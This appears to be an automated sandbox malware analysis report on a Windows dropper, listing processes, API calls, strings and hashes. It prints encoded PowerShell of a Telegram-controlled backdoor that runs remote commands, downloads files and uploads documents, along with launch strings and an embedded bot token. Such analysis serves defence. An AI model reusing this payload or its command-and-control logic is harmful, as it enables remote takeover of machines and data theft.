ACAAIAAkAEYAaQBsAGUASABlAGEAZABlAHIALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAKABTAHAAbABpAHQALQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAtAGwAZQBhAGYAKQANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBIAHQAdABwAC4AUwB0AHIAZQBhAG0AQwBvAG4AdABlAG4AdABdADoAOgBuAGUAdwAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApAA0ACgAgACAAIAAgACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0AC4ASABlAGEAZABlAHIAcwAuAEMAbwBuAHQAZQBuAHQARABpAHMAcABvAHMAaQB0AGkAbwBuACAAPQAgACQARgBpAGwAZQBIAGUAYQBkAGUAcgANAAoAIAAgACAAIAAkAEYAaQBsAGUAQwBvAG4AdABlAG4AdAAuAEgAZQBhAGQAZQByAHMALgBDAG8AbgB0AGUAbgB0AFQAeQBwAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFcAZQBiAC4ATQBpAG0AZQBNAGEAcABwAGkAbgBnAF0AOgA6AEcAZQB0AE0AaQBtAGUATQBhAHAAcABpAG4AZwAoACQARgBpAGwAZQBQAGEAdABoACkAIAANAAoAIAAgACAAIAANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4ASAB0AHQAcAAuAE0AdQBsAHQAaQBwAGEAcgB0AEYAbwByAG0ARABhAHQAYQBDAG8AbgB0AGUAbgB0AF0AOgA6AG4AZQB3ACgAKQANAAoAIAAgACAAIAAkAE0AdQBsAHQAaQBwAGEAcgB0AEMAbwBuAHQAZQBuAHQALgBBAGQAZAAoACQARgBpAGwAZQBDAG8AbgB0AGUAbgB0ACkADQAKACAAIAAgACAADQAKACAAIAAgACAAJABoAHQAdABwAEMAbABpAGUAbgB0AC4AUABvAHMAdABBAHMAeQBuAGMAKAAiACQAVQBSAEwALwBzAGUAbgBkAEQAbwBjAHUAbQBlAG4AdAA/AGMAaABhAHQAXwBpAGQAPQAkAGYAcgBvAG0AIgAsACAAJABNAHUAbAB0AGkAcABhAHIAdABDAG8AbgB0AGUAbgB0ACkAIAA+ACAAJABuAHUAbABsAA0ACgB9AA0ACgANAAoAdwBoAGkAbABlACAAKAAkAHQAcgB1AGUAKQAgAHsADQAKACAAIAAgACAAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUAIAA9ACAASQBuAHYAbwBrAGUALQBSAGUAcwB0AE0AZQB0AGgAbwBkACAALQBNAGUAdABoAG8AZAAgAEcAZQB0ACAALQBVAHIAaQAgACgAJABVAFIATAAgACsAJwAvAGcAZQB0AFUAcABkAGEAdABlAHMAPwBvAGYAZgBzAGUAdAA9ACcAIAArACAAKAAkAGwAYQBzAHQASQBEACAAKwAgADEAKQApACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwAA0ACgAgACAAIAAgAH0ADQAKACAAIAAgACAAYwBhAHQAYwBoACAAewANAAoAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgACQAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGEAeABpAG0AdQBtACAAMQAwACkAIAANAAoAIAAgACAAIAAgACAAIAAgAGMAbwBuAHQAaQBuAHUAZQANAAoAIAAgACAAIAB9AA0ACgAgACAAIAAgACQAaQBuAE0AZQBzAHMAYQBnAGUALgByAGUAcwB1AGwAdAAgAHwAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAJAB1AHAAZABhAHQAZQBpAGQAIAA9ACAAJABfAC4AdQBwAGQAYQB0AGUAXwBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGYAcgBvAG0AIAA9ACAAJABfAC4AbQBlAHMAcwBhAGcAZQAuAGYAcgBvAG0ALgBpAGQADQAKACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAXwAuAG0AZQBzAHMAYQBnAGUALgB0AGUAeAB0ACkAKQANAAoADQAKACAAIAAgACAAIAAgACAAIABpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADYAKQAgAC0AZQBxACAAIgAvAHMAbABlAGUAcAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABzAGwAZQBlAHAAVABpAG0AZQAgAD0AIABbAGkAbgB0AF0AJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADQAKQAgAC0AZQBxACAAIgAvAGMAbQBkACIAKQB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA1ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AQgBvAHQAQwBtAGQAIAAtAGMAbwBtAG0AYQBuAGQAIAAkAGMAbwBtAG0AYQBuAGQADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAZQBsAHMAZQBpAGYAKAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgADkAKQAgAC0AZQBxACAAIgAvAGQAbwB3AG4AbABvAGEAZAAiACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFAAYQB0AGgAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAxADAAKQAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEIAbwB0AEQAbwB3AG4AbABvAGEAZAAgAC0ARgBpAGwAZQBQAGEAdABoACAAJABGAGkAbABlAFAAYQB0AGgAIAAgACAAIAANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIABlAGwAcwBlACAAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABjAG0AZAAgAD0AIAAkAGMAbwBtAG0AYQBuAGQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADEALAAgADUAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACgAJABpAGQAZQBuAHQAaQBmAGkAZQByACAALQBlAHEAIAAkAGMAbQBkACkAewANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGMAbwBtAG0AYQBuAGQAIAA9ACAAJABjAG8AbQBtAGEAbgBkAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAA3ACkADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASQBuAHYAbwBrAGUALQBCAG8AdABDAG0AZAAgAC0AYwBvAG0AbQBhAG4AZAAgACQAYwBvAG0AbQBhAG4AZAANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZQBsAHMAZQAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUwBMAEUARQBQACIADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAJAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAE0AYQB4AGkAbQB1AG0AIAAxADAAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKACAAIAAgACAAIAAgACAAIAAkAGwAYQBzAHQASQBEACAAPQAgACQAdQBwAGQAYQB0AGUAaQBkACAAIAAgACAAIAAgACAADQAKACAAIAAgACAAfQANAAoAIAAgACAAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAkAHMAbABlAGUAcABUAGkAbQBlAA0ACgB9AA==
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	03:55:05
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	03:55:06
Start date:	14/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff6eef20000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	03:55:06
Start date:	14/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1636,i,11664794565421518283,13165857320494331314,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	7.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	8.2%
Total number of Nodes:	1378
Total number of Limit Nodes:	33

Executed Functions

Function 00007FF767EF28C0 Relevance: 30.3, APIs: 10, Strings: 7, Instructions: 594
processsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF767EF6D0C: GetLastError.KERNEL32 ref: 00007FF767EF6D30

__std_fs_code_page.LIBCPMT ref: 00007FF767EF29C8
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF767EF2A0C
__std_fs_convert_wide_to_narrow.LIBCPMT ref: 00007FF767EF2A4D
CreateProcessW.KERNELBASE ref: 00007FF767EF30F8
WaitForSingleObject.KERNEL32 ref: 00007FF767EF310B
CloseHandle.KERNEL32 ref: 00007FF767EF3115
CloseHandle.KERNEL32 ref: 00007FF767EF311F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF32B0

Part of subcall function 00007FF767EF1660: __std_exception_copy.LIBVCRUNTIME ref: 00007FF767EF16C8

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF32E4
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF767EF333E

Strings

/file.pdf, xrefs: 00007FF767EF2A67
ios_base::eofbit set, xrefs: 00007FF767EF3302
ios_base::failbit set, xrefs: 00007FF767EF32FB
powershell.exe -Command "Start-Process ', xrefs: 00007FF767EF2CDA
'; powershell.exe -e ', xrefs: 00007FF767EF2DD2, 00007FF767EF2DF4
ios_base::badbit set, xrefs: 00007FF767EF32EF
JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9, xrefs: 00007FF767EF2C12

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseHandle__std_fs_convert_wide_to_narrow$CreateErrorLastObjectProcessSingleWait__std_exception_copy__std_fs_code_page
String ID: '; powershell.exe -e '$/file.pdf$JABUAG8AawBlAG4AIAA9ACAAIgA3ADUANQA0ADMAMAA3ADYANgA5ADoAQQBBAEUAXwBsAG4AUQBUAFkAUwBYAHYAdQBzAGEASwBsAGsAcABOAHIAdgAyAEQAdgBZAHUAQwA3AEgAaABJADAAcwAwACIADQAKACQAVQBSAEwAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYQBwAGkALgB0AGUAbABlAGcAcgBhAG0ALgBvAHIAZwAvAGIAbwB0AHsAMAB9$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$powershell.exe -Command "Start-Process '
API String ID: 1602825194-3990327364
Opcode ID: 41be19a45a8101ab6089faecaffeac4cb2b4cc33ac101a02d1ac3be11a66a440
Instruction ID: f3eb6c398f189e575d17ce1832c61c94790a2ddc39d0328f835bd6e66645a54c
Opcode Fuzzy Hash: 41be19a45a8101ab6089faecaffeac4cb2b4cc33ac101a02d1ac3be11a66a440
Instruction Fuzzy Hash: 3D528E72A18BC1C5EB10DB65D8603EDA361FB98798FC45222EA5C07E99DF7CD286C710

Function 00007FF767F0FEE8 Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF767F0FACC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0FB0D
Part of subcall function 00007FF767F0FACC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0FB8B
Part of subcall function 00007FF767F0FACC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0FBDC

CreateFileW.KERNELBASE ref: 00007FF767F0FFEE
CreateFileW.KERNEL32 ref: 00007FF767F1003E
GetLastError.KERNEL32 ref: 00007FF767F1006E
GetFileType.KERNELBASE ref: 00007FF767F10083
GetLastError.KERNEL32 ref: 00007FF767F1008D
CloseHandle.KERNEL32 ref: 00007FF767F100C0
CloseHandle.KERNEL32 ref: 00007FF767F10223
CreateFileW.KERNEL32 ref: 00007FF767F10258
GetLastError.KERNEL32 ref: 00007FF767F10267

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: cd617a6eb87e8d63d3f009fae8cd3b179463d396c4807aaae279dc048755ae53
Instruction ID: c9488acf68dbaed9e86840042277a193642cf14f2c457611cbef904ae9bd8632
Opcode Fuzzy Hash: cd617a6eb87e8d63d3f009fae8cd3b179463d396c4807aaae279dc048755ae53
Instruction Fuzzy Hash: 87C1BF36B28A41C5EB51EFA5C4A0AEC7761E789BE8F810225DA2E57794CF78D053C720

Function 00007FF767F059E0 Relevance: 6.2, APIs: 4, Instructions: 218
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF767F059CB,?), ref: 00007FF767F05AFC
GetLastError.KERNEL32(?,?,?,?,?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,00007FF767F059CB,?), ref: 00007FF767F05B87

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: 2e72a14a40dcdbc440ab8e2dea6762219126c6135b7ef8777481cfa15dd251e3
Instruction ID: 38698d0df00964054145b0aa27e45314855f22eae22b5323020fa0e3db620597
Opcode Fuzzy Hash: 2e72a14a40dcdbc440ab8e2dea6762219126c6135b7ef8777481cfa15dd251e3
Instruction Fuzzy Hash: DD91B262A08651C5F750AB6994B0EFDABA0BB44BC9F944139DE0E57784CEB8E4838720

Function 00007FF767EF6D0C Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF767EF6AA4: GetModuleHandleW.KERNEL32(?,?,?,00007FF767EF6D26), ref: 00007FF767EF6ABA
Part of subcall function 00007FF767EF6AA4: GetProcAddress.KERNEL32(?,?,?,00007FF767EF6D26), ref: 00007FF767EF6ACA

GetLastError.KERNEL32 ref: 00007FF767EF6D30

Part of subcall function 00007FF767EFFE88: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF767EFDAC6,?,?,?,00007FF767EFF64A), ref: 00007FF767EFFEAE

GetFileAttributesW.KERNELBASE ref: 00007FF767EF6D3F
__std_fs_open_handle.LIBCPMT ref: 00007FF767EF6D68
CloseHandle.KERNEL32 ref: 00007FF767EF6D7A

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Handle$AddressAttributesCloseErrorFeatureFileLastModulePresentProcProcessor__std_fs_open_handle
String ID:
API String ID: 156590933-0
Opcode ID: 6a6f73d8c6b678b20650fb784add4d01299f4f483c1c765fbfb181a8c8681b05
Instruction ID: 08f4071ee260492cc6faf9622dad407149559988ea5543bdce9667a41798c1d4
Opcode Fuzzy Hash: 6a6f73d8c6b678b20650fb784add4d01299f4f483c1c765fbfb181a8c8681b05
Instruction Fuzzy Hash: CD119831A1C542C6E7507726A0A823AA360DF847F0FD80635F97E46ED5EE3DD55B8B10

Function 00007FF767F0696C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE ref: 00007FF767F06A09
LCMapStringW.KERNEL32 ref: 00007FF767F06A3D

Strings

LCMapStringEx, xrefs: 00007FF767F06988, 00007FF767F06999

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: String
String ID: LCMapStringEx
API String ID: 2568140703-3893581201
Opcode ID: 5eb25842227b41f3442d1bf3edcfa990ab72379bd8bedd3bb851ce65e1ed33bf
Instruction ID: 67cd49f063386ec2239244a2e272a30d82af3cbcb59eeb8ad3274c1e710de785
Opcode Fuzzy Hash: 5eb25842227b41f3442d1bf3edcfa990ab72379bd8bedd3bb851ce65e1ed33bf
Instruction Fuzzy Hash: FA212C35608B81C6DB64DF16B8506AAB7A4FBC8BD4F848136EE8D43B19DF3CD5528B40

Function 00007FF767EF8224 Relevance: 4.6, APIs: 3, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF767EF7F10: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF767EF7F24

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF767EF8248
__scrt_release_startup_lock.LIBCMT ref: 00007FF767EF82B6
__scrt_get_show_window_mode.LIBCMT ref: 00007FF767EF8309

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 474476ee4c044e0c2c7cf4e5ef395ad6e649675cc114b0a31db13de272242a06
Instruction ID: 7a49996c929c5e44f0a93cfc950f1798342bdd6afa17158f61d9d3213bd91226
Opcode Fuzzy Hash: 474476ee4c044e0c2c7cf4e5ef395ad6e649675cc114b0a31db13de272242a06
Instruction Fuzzy Hash: 33311831A09543C6FB54BB6694726FDA3919F813C8FC80035FA4D47AE7DE2CA80B8231

Function 00007FF767F0B3C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 128
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32 ref: 00007FF767F0B40A

Strings

, xrefs: 00007FF767F0B44D

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: Info
String ID:
API String ID: 1807457897-3916222277
Opcode ID: 875b9b8a40c284ead772abb435dc8a77a384c0ab268c76e74828773d368971c8
Instruction ID: c2573fa915ae84c9102f0230f244fd55cea79c84384814af14a6fa8a4f0af5ac
Opcode Fuzzy Hash: 875b9b8a40c284ead772abb435dc8a77a384c0ab268c76e74828773d368971c8
Instruction Fuzzy Hash: B0518B72A1C6C1CAE7209F24E4646EDB7A0F748789F944136D68D43B8ACF78D546CB10

Function 00007FF767F0B954 Relevance: 3.2, APIs: 2, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF767F0B2B0: GetOEMCP.KERNEL32(?,?,?,?,?,?,FFFFFFFD,00007FF767F0B5EC), ref: 00007FF767F0B2DA

IsValidCodePage.KERNEL32(?,?,?,00000001,?,00000000,?,00007FF767F0B71D), ref: 00007FF767F0B9C1
GetCPInfo.KERNEL32(?,?,?,00000001,?,00000000,?,00007FF767F0B71D), ref: 00007FF767F0BA05

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 916d5d2bc06a167e78101b3390dc758e90f4b9f264f232b53cd73e79dafd9626
Instruction ID: dde43a1fc1e5e273e072cff4a3b86749e2f6415efc94f5503b3b6250c1faa9c1
Opcode Fuzzy Hash: 916d5d2bc06a167e78101b3390dc758e90f4b9f264f232b53cd73e79dafd9626
Instruction Fuzzy Hash: 3E81E362A0C282C6E726AF2998709F9F791EB447C1FC84436CA9E07794DE3CE553C324

Function 00007FF767EF5CB0 Relevance: 3.1, APIs: 2, Instructions: 81
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.4153525404.00007FF767EF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF767EF0000, based on PE: true

Associated: 00000000.00000002.4153460255.00007FF767EF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153576158.00007FF767F14000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153634296.00007FF767F26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4153660576.00007FF767F29000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff767ef0000_12.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bfb8fcdb40f2f7925395933c2a075e9459ae5b876a5129538ed71287851db8a9
Instruction ID: 51c8002c7b0ca45f812099e8900dc864b8fb457a560055a2ab619db984102f19
Opcode Fuzzy Hash: bfb8fcdb40f2f7925395933c2a075e9459ae5b876a5129538ed71287851db8a9
Instruction Fuzzy Hash: 2A21F132B0A746C5EB257B51A4143BA93509B147E4FDC4632EE7D06BC2EE3DA4C78320

Function 00007FF767EF8140 Relevance: 3.1, APIs: 2, Instructions: 55
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_set_fmode.LIBCMT ref: 00007FF767EF8157
_RTC_Initialize.LIBCMT ref: 00007FF767EF8178

Part of subcall function 00007FF767F01448: _invalid_parameter_noinfo.LIBCMT ref: 00007FF767F0147A

Memory Dump Source

